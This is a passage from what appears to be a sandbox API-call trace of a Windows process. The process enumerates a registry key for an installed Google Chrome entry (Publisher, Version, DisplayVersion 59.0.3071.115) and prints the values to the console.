lpUsedDefaultChar=0x0) returned 3 [0149.041] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.041] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.042] __iob_func () returned 0x7fefd702a80 [0149.042] _fileno (_File=0x7fefd702ab0) returned 1 [0149.042] _errno () returned 0x204bb0 [0149.042] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.042] _errno () returned 0x204bb0 [0149.042] GetFileType (hFile=0x50) returned 0x1 [0149.042] lstrlenW (lpString="\n") returned 1 [0149.042] GetConsoleOutputCP () returned 0x1b5 [0149.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.042] GetConsoleOutputCP () returned 0x1b5 [0149.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.042] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.042] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.042] GetProcessHeap () returned 0x3c0000 [0149.042] GetProcessHeap () returned 0x3c0000 [0149.042] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.042] GetProcessHeap () returned 0x3c0000 [0149.042] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.042] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.042] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1a) returned 0x0 [0149.042] GetProcessHeap () returned 0x3c0000 [0149.042] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1c) returned 0x3d5c30 [0149.042] GetProcessHeap () returned 0x3c0000 [0149.042] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.042] GetProcessHeap () returned 0x3c0000 [0149.042] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1c [0149.042] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1a | out: pdwType=0x29f700*=0x1, pvData="Google Inc.", pcbData=0x29f780*=0x18) returned 0x0 [0149.043] __iob_func () returned 0x7fefd702a80 [0149.043] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.043] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.043] _fileno (_File=0x7fefd702ab0) returned 1 [0149.043] _errno () returned 0x204bb0 [0149.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.043] _errno () returned 0x204bb0 [0149.043] GetFileType (hFile=0x50) returned 0x1 [0149.043] lstrlenW (lpString=" ") returned 4 [0149.043] GetConsoleOutputCP () returned 0x1b5 [0149.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.043] GetConsoleOutputCP () returned 0x1b5 [0149.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.043] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.043] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.043] lstrlenW (lpString="Publisher") returned 9 [0149.043] __iob_func () returned 0x7fefd702a80 [0149.043] _fileno (_File=0x7fefd702ab0) returned 1 [0149.043] _errno () returned 0x204bb0 [0149.043] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.043] _errno () returned 0x204bb0 [0149.043] GetFileType (hFile=0x50) returned 0x1 [0149.043] lstrlenW (lpString="Publisher") returned 9 [0149.043] GetConsoleOutputCP () returned 0x1b5 [0149.043] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.044] GetConsoleOutputCP () returned 0x1b5 [0149.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.044] __iob_func () returned 0x7fefd702a80 [0149.044] _fileno (_File=0x7fefd702ab0) returned 1 [0149.044] _errno () returned 0x204bb0 [0149.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.044] _errno () returned 0x204bb0 [0149.044] GetFileType (hFile=0x50) returned 0x1 [0149.044] lstrlenW (lpString=" ") returned 4 [0149.044] GetConsoleOutputCP () returned 0x1b5 [0149.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.044] GetConsoleOutputCP () returned 0x1b5 [0149.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.044] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.044] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.044] __iob_func () returned 0x7fefd702a80 [0149.044] _fileno (_File=0x7fefd702ab0) returned 1 [0149.044] _errno () returned 0x204bb0 [0149.044] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.044] _errno () returned 0x204bb0 [0149.044] GetFileType (hFile=0x50) returned 0x1 [0149.044] lstrlenW (lpString="REG_SZ") returned 6 [0149.044] GetConsoleOutputCP () returned 0x1b5 [0149.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.045] GetConsoleOutputCP () returned 0x1b5 [0149.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.045] __iob_func () returned 0x7fefd702a80 [0149.045] _fileno (_File=0x7fefd702ab0) returned 1 [0149.045] _errno () returned 0x204bb0 [0149.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.045] _errno () returned 0x204bb0 [0149.045] GetFileType (hFile=0x50) returned 0x1 [0149.045] lstrlenW (lpString=" ") returned 4 [0149.045] GetConsoleOutputCP () returned 0x1b5 [0149.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.045] GetConsoleOutputCP () returned 0x1b5 [0149.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.045] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.046] __iob_func () returned 0x7fefd702a80 [0149.046] _fileno (_File=0x7fefd702ab0) returned 1 [0149.046] _errno () returned 0x204bb0 [0149.046] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.046] _errno () returned 0x204bb0 [0149.046] GetFileType (hFile=0x50) returned 0x1 [0149.046] lstrlenW (lpString="Google Inc.") returned 11 [0149.046] GetConsoleOutputCP () returned 0x1b5 [0149.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Google Inc.", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.046] GetConsoleOutputCP () returned 0x1b5 [0149.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Google Inc.", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Google Inc.", lpUsedDefaultChar=0x0) returned 11 [0149.046] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.046] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.046] __iob_func () returned 0x7fefd702a80 [0149.046] _fileno (_File=0x7fefd702ab0) returned 1 [0149.046] _errno () returned 0x204bb0 [0149.046] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.046] _errno () returned 0x204bb0 [0149.046] GetFileType (hFile=0x50) returned 0x1 [0149.046] lstrlenW (lpString="\n") returned 1 [0149.046] GetConsoleOutputCP () returned 0x1b5 [0149.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.046] GetConsoleOutputCP () returned 0x1b5 [0149.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.047] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.047] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.047] GetProcessHeap () returned 0x3c0000 [0149.047] GetProcessHeap () returned 0x3c0000 [0149.047] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.047] GetProcessHeap () returned 0x3c0000 [0149.047] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1c [0149.047] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.047] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.047] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0149.047] GetProcessHeap () returned 0x3c0000 [0149.047] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0149.047] GetProcessHeap () returned 0x3c0000 [0149.047] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.047] GetProcessHeap () returned 0x3c0000 [0149.047] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0149.047] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="59.0.3071.115", pcbData=0x29f780*=0x1c) returned 0x0 [0149.047] __iob_func () returned 0x7fefd702a80 [0149.047] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.047] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.047] _fileno (_File=0x7fefd702ab0) returned 1 [0149.047] _errno () returned 0x204bb0 [0149.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.047] _errno () returned 0x204bb0 [0149.047] GetFileType (hFile=0x50) returned 0x1 [0149.047] lstrlenW (lpString=" ") returned 4 [0149.047] GetConsoleOutputCP () returned 0x1b5 [0149.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.048] GetConsoleOutputCP () returned 0x1b5 [0149.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.048] lstrlenW (lpString="Version") returned 7 [0149.048] __iob_func () returned 0x7fefd702a80 [0149.048] _fileno (_File=0x7fefd702ab0) returned 1 [0149.048] _errno () returned 0x204bb0 [0149.048] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.048] _errno () returned 0x204bb0 [0149.048] GetFileType (hFile=0x50) returned 0x1 [0149.048] lstrlenW (lpString="Version") returned 7 [0149.048] GetConsoleOutputCP () returned 0x1b5 [0149.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.048] GetConsoleOutputCP () returned 0x1b5 [0149.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0149.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.048] __iob_func () returned 0x7fefd702a80 [0149.048] _fileno (_File=0x7fefd702ab0) returned 1 [0149.048] _errno () returned 0x204bb0 [0149.048] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.048] _errno () returned 0x204bb0 [0149.048] GetFileType (hFile=0x50) returned 0x1 [0149.049] lstrlenW (lpString=" ") returned 4 [0149.049] GetConsoleOutputCP () returned 0x1b5 [0149.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.049] GetConsoleOutputCP () returned 0x1b5 [0149.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.049] __iob_func () returned 0x7fefd702a80 [0149.049] _fileno (_File=0x7fefd702ab0) returned 1 [0149.049] _errno () returned 0x204bb0 [0149.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.049] _errno () returned 0x204bb0 [0149.049] GetFileType (hFile=0x50) returned 0x1 [0149.049] lstrlenW (lpString="REG_SZ") returned 6 [0149.049] GetConsoleOutputCP () returned 0x1b5 [0149.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.049] GetConsoleOutputCP () returned 0x1b5 [0149.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.050] __iob_func () returned 0x7fefd702a80 [0149.050] _fileno (_File=0x7fefd702ab0) returned 1 [0149.050] _errno () returned 0x204bb0 [0149.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.050] _errno () returned 0x204bb0 [0149.050] GetFileType (hFile=0x50) returned 0x1 [0149.050] lstrlenW (lpString=" ") returned 4 [0149.050] GetConsoleOutputCP () returned 0x1b5 [0149.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.050] GetConsoleOutputCP () returned 0x1b5 [0149.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.050] __iob_func () returned 0x7fefd702a80 [0149.050] _fileno (_File=0x7fefd702ab0) returned 1 [0149.050] _errno () returned 0x204bb0 [0149.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.050] _errno () returned 0x204bb0 [0149.050] GetFileType (hFile=0x50) returned 0x1 [0149.050] lstrlenW (lpString="59.0.3071.115") returned 13 [0149.051] GetConsoleOutputCP () returned 0x1b5 [0149.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="59.0.3071.115", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.051] GetConsoleOutputCP () returned 0x1b5 [0149.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="59.0.3071.115", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="59.0.3071.115", lpUsedDefaultChar=0x0) returned 13 [0149.051] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.051] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.051] __iob_func () returned 0x7fefd702a80 [0149.051] _fileno (_File=0x7fefd702ab0) returned 1 [0149.051] _errno () returned 0x204bb0 [0149.051] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.051] _errno () returned 0x204bb0 [0149.051] GetFileType (hFile=0x50) returned 0x1 [0149.051] lstrlenW (lpString="\n") returned 1 [0149.051] GetConsoleOutputCP () returned 0x1b5 [0149.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.051] GetConsoleOutputCP () returned 0x1b5 [0149.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.051] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.051] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.052] GetProcessHeap () returned 0x3c0000 [0149.052] GetProcessHeap () returned 0x3c0000 [0149.052] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.052] GetProcessHeap () returned 0x3c0000 [0149.052] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0149.052] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.052] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.052] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1e) returned 0x0 [0149.052] GetProcessHeap () returned 0x3c0000 [0149.052] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0149.052] GetProcessHeap () returned 0x3c0000 [0149.052] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.052] GetProcessHeap () returned 0x3c0000 [0149.052] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0149.052] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1e | out: pdwType=0x29f700*=0x1, pvData="59.0.3071.115", pcbData=0x29f780*=0x1c) returned 0x0 [0149.052] __iob_func () returned 0x7fefd702a80 [0149.052] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.052] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.052] _fileno (_File=0x7fefd702ab0) returned 1 [0149.052] _errno () returned 0x204bb0 [0149.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.052] _errno () returned 0x204bb0 [0149.052] GetFileType (hFile=0x50) returned 0x1 [0149.052] lstrlenW (lpString=" ") returned 4 [0149.052] GetConsoleOutputCP () returned 0x1b5 [0149.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.052] GetConsoleOutputCP () returned 0x1b5 [0149.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.053] lstrlenW (lpString="DisplayVersion") returned 14 [0149.053] __iob_func () returned 0x7fefd702a80 [0149.053] _fileno (_File=0x7fefd702ab0) returned 1 [0149.053] _errno () returned 0x204bb0 [0149.053] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.053] _errno () returned 0x204bb0 [0149.053] GetFileType (hFile=0x50) returned 0x1 [0149.053] lstrlenW (lpString="DisplayVersion") returned 14 [0149.053] GetConsoleOutputCP () returned 0x1b5 [0149.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.053] GetConsoleOutputCP () returned 0x1b5 [0149.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.053] __iob_func () returned 0x7fefd702a80 [0149.053] _fileno (_File=0x7fefd702ab0) returned 1 [0149.053] _errno () returned 0x204bb0 [0149.053] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.053] _errno () returned 0x204bb0 [0149.053] GetFileType (hFile=0x50) returned 0x1 [0149.053] lstrlenW (lpString=" ") returned 4 [0149.053] GetConsoleOutputCP () returned 0x1b5 [0149.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.054] GetConsoleOutputCP () returned 0x1b5 [0149.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 